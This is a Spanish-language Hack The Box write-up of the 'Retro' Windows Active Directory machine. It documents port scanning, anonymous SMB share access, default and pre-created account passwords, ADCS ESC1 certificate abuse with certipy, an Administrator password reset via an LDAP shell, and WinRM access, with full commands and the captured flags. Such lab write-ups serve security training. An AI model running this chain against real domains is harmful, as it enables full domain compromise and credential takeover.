Retro

Hack The Box — Metodología Detallada

Retro

IP:10.129.50.211
OS:Windows Server 2022
Dificultad:Easy
Categoría:Active Directory
Fecha:31 Ago 2026

Reconocimiento

Escaneo inicial de puertos

Se realizó un escaneo completo de puertos para identificar todos los servicios expuestos en la máquina y determinar los posibles vectores de ataque disponibles.

sudo nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn 10.129.50.211 -oG allPorts

PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
3389/tcp  open  ms-wbt-server
9389/tcp  open  adws
Hallazgo
La presencia de los puertos 88 (Kerberos), 389 (LDAP) y 3268 (Global Catalog) confirma que el objetivo es un Domain Controller del dominio retro.vl. El puerto 3389 (RDP) esta abierto ademas de los puertos estandar de AD. SMB signing requerido descarta NTLM Relay.

Escaneo de versiones

PORT     STATE SERVICE
53/tcp   open  domain            Simple DNS Plus
88/tcp   open  kerberos-sec      Microsoft Windows Kerberos
135/tcp  open  msrpc             Microsoft Windows RPC
139/tcp  open  netbios-ssn
389/tcp  open  ldap              Microsoft Windows AD LDAP (Domain: retro.vl)
445/tcp  open  microsoft-ds
464/tcp  open  kpasswd5
593/tcp  open  ncacn_http        Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap
3268/tcp open  ldap              Microsoft Windows AD LDAP (Domain: retro.vl)
3269/tcp open  globalcatLDAPssl
3389/tcp open  ms-wbt-server     Microsoft Terminal Services
9389/tcp open  mc-nmf            .NET Message Framing

Service Info: Host: DC; OS: Windows Server 2022 Build 20348
Hallazgo
El escaneo de versiones confirmo el dominio retro.vl y el hostname DC. Sistema operativo: Windows Server 2022 Build 20348. El FQDN es DC.retro.vl. Se agrego retro.vl y DC.retro.vl al /etc/hosts.

Enumeración

Enumeración SMB anónima

Hipótesis
Se evaluo si el servidor admitia autenticacion nula via SMB para enumerar shares y usuarios sin credenciales previas.
netexec smb 10.129.50.211 -u '' -p ''

[*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:retro.vl)
(signing:True) (SMBv1:False) (Null Auth:True) (DC:True)
[+] retro.vl\:

smbclient -L //10.129.50.211// -N

Sharename   Type    Comment
---------   ----    -------
ADMIN$      Disk    Remote Admin
C$          Disk    Default share
IPC$        IPC     Remote IPC
NETLOGON    Disk    Logon server share
Notes       Disk
SYSVOL      Disk    Logon server share
Trainees    Disk
Hallazgo
El servidor admite autenticacion nula. Se identificaron dos shares no estandar: Notes y Trainees. El share Notes requeria autenticacion pero Trainees era accesible de forma anonima.

Enumeración del share Trainees

smbclient //10.129.50.211/Trainees -N

Important.txt   A   288   Sun Jul 23 22:00:13 2023

smb: \> get Important.txt
cat Important.txt

Dear Trainees,

I know that some of you seemed to struggle with remembering strong
and unique passwords. So we decided to bundle every one of you up
into one account. Stop bothering us. Please. We have other stuff to
do than resetting your password every day.

Regards,
The Admins
Hallazgo
El archivo revela que todos los aprendices fueron agrupados en una sola cuenta. El nombre del share y el contexto sugieren que el usuario es trainee con la contrasena trainee.

Validacion de credenciales

netexec smb 10.129.50.211 -u 'trainee' -p 'trainee'

[+] retro.vl\trainee:trainee
Hallazgo
Vector confirmado: Credenciales validas: trainee:trainee.

Enumeración del share Notes

Hipótesis
Con credenciales validas se accedio al share Notes para enumerar su contenido.
smbclient //10.129.50.211/Notes -U 'trainee%trainee'

ToDo.txt    A   248   Sun Jul 23 21:52:29 2023

smb: \> get ToDo.txt
cat ToDo.txt

Thomas,

Despues de convencer al departamento de finanzas de deshacerse de su
antiguo software bancario, finalmente es hora de limpiar el desastre
que dejaron. Deberiamos empezar con la cuenta de computadora pre-creada.
Esa es mas antigua que yo.

Saludos,
James
Hallazgo
El mensaje menciona explicitamente una cuenta de computadora pre-creada relacionada con software bancario. Se procedio a buscarla en el dominio via LDAP.

Flag de usuario

Hipótesis
Con credenciales de trainee se accedio al share Trainees para buscar la flag de usuario.
smbclient //10.129.50.211/Trainees -U 'trainee%trainee'

smb: \> get user.txt

cat user.txt
cbda362cff2099072c5e96c51712ff33
Hallazgo
Vector confirmado: Flag de usuario obtenida: cbda362c**...**2ff33.

Identificación de la cuenta pre-creada

netexec ldap 10.129.50.211 -u 'trainee' -p 'trainee' \
--query "(objectClass=computer)" sAMAccountName

[+] Response: CN=DC,OU=Domain Controllers,DC=retro,DC=vl
sAMAccountName: DC$

[+] Response: CN=banking,CN=Computers,DC=retro,DC=vl
sAMAccountName: BANKING$
Hallazgo
Se identifico la cuenta BANKING$ en CN=Computers. Esta es la cuenta de computadora pre-creada mencionada en el mensaje. Las cuentas pre-creadas en AD tienen una contrasena por defecto igual al nombre NetBIOS en minusculas antes de unirse al dominio.
netexec smb 10.129.50.211 -u 'BANKING$' -p 'banking'

[-] retro.vl\BANKING$:banking STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT
Hallazgo
El error STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT confirma que la contrasena banking es correcta, pero la cuenta no esta unida al dominio. Una cuenta pre-creada en este estado puede autenticarse via Kerberos para obtener un TGT aunque no pueda autenticarse via SMB.

Explotación

Enumeración de plantillas ADCS vulnerables

Hipótesis
Con credenciales de trainee se enumero ADCS para identificar plantillas vulnerables. El objetivo es encontrar una plantilla que permita solicitar certificados con UPN arbitrario usando una cuenta de computadora.
certipy find -u [email protected] -p 'trainee' \
-dc-ip 10.129.50.211 -vulnerable -stdout

Template Name       : RetroClients
Enrollment Rights   : RETRO.VL\Domain Computers
Enrollee Supplies Subject : True
[!] Vulnerabilities
ESC1 : Enrollee supplies subject and template allows
client authentication.
Hallazgo
La plantilla RetroClients es vulnerable a ESC1: permite que el solicitante especifique el UPN en el certificado y habilita autenticacion de cliente. Los permisos de enrollment son para Domain Computers, por lo que BANKING$ puede solicitarlo. La plantilla requiere clave RSA de 4096 bits minimo.

ESC1 — Solicitud de certificado como Administrator

Hipótesis
Con la cuenta BANKING$ se puede solicitar un certificado con el UPN del Administrator. Al ser una cuenta pre-creada que no completo el join al dominio, SMB falla pero Kerberos funciona para obtener un TGT que permite autenticarse en la CA.

Obtención del TGT de BANKING$

getTGT.py retro.vl/BANKING\$:banking -dc-ip 10.129.50.211

[*] Saving ticket in BANKING$.ccache

export KRB5CCNAME=BANKING\$.ccache

Obtención del SID del Administrator

lookupsid.py retro.vl/trainee:[email protected] 500

[*] Domain SID is: S-1-5-21-2983547755-698260136-4283918172
# SID del Administrator: S-1-5-21-2983547755-698260136-4283918172-500

Solicitud del certificado

Hipótesis
Los primeros intentos fallaron por problemas de resolucion DNS. Se agrego DC.retro.vl al /etc/hosts y se uso -target-ip para evitar la resolucion DNS. Ademas fue necesario incluir el SID en el certificado con el flag -sid para evitar el error Object SID mismatch.
certipy req -u '[email protected]' -k \
-ca 'retro-DC-CA' -template 'RetroClients' \
-upn [email protected] \
-target DC.retro.vl \
-dc-host DC.retro.vl \
-target-ip 10.129.50.211 \
-key-size 4096 -no-pass \
-sid S-1-5-21-2983547755-698260136-4283918172-500

[*] Got certificate with UPN '[email protected]'
[*] Certificate object SID: 'S-1-5-21-2983547755-698260136-4283918172-500'
[*] Wrote certificate and private key to 'administrator.pfx'
Hallazgo
Vector confirmado: Certificado obtenido con UPN [email protected] y SID del Administrator embebido.

Escalada de Privilegios

Autenticacion con el certificado

Hipótesis
Se intento autenticar con el certificado para obtener el hash NT del Administrator. El DC no soporta PKINIT directamente, por lo que se uso -ldap-shell para autenticarse via LDAPS y cambiar la contrasena del Administrator.
Hipótesis
Los intentos de autenticacion directa via certipy auth fallaron con KDC_ERR_PADATA_TYPE_NOSUPP porque el DC no tiene soporte para PKINIT habilitado.
certipy auth -pfx administrator.pfx -dc-ip 10.129.50.211

[-] KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type)

LDAP Shell como Administrator

certipy auth -pfx administrator.pfx -dc-ip 10.129.50.211 -ldap-shell

[*] Connecting to 'ldaps://10.129.50.211:636'
[*] Authenticated to '10.129.50.211' as: 'u:RETRO\\Administrator'

# change_password administrator Password123!
Got User DN: CN=Administrator,CN=Users,DC=retro,DC=vl
Password changed successfully!
Hallazgo
El certificado ESC1 permitio autenticarse via LDAPS como Administrator sin conocer su contrasena. Desde el shell LDAP se cambio la contrasena del Administrator directamente.

Acceso como Administrator via WinRM

evil-winrm -i 10.129.50.211 -u administrator -p 'Password123!'

*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
40fce9c3f09024bcab29d377ee1ed071
Hallazgo
Vector confirmado: Acceso obtenido como Administrator via WinRM. Flag de root: 40fce9c3**...**ed071. El dominio retro.vl ha sido completamente comprometido.

Reflexión Final

Qué salió bien

Qué salió mal

Lecciones aprendidas

Tiempo total

Aproximadamente 40 minutos.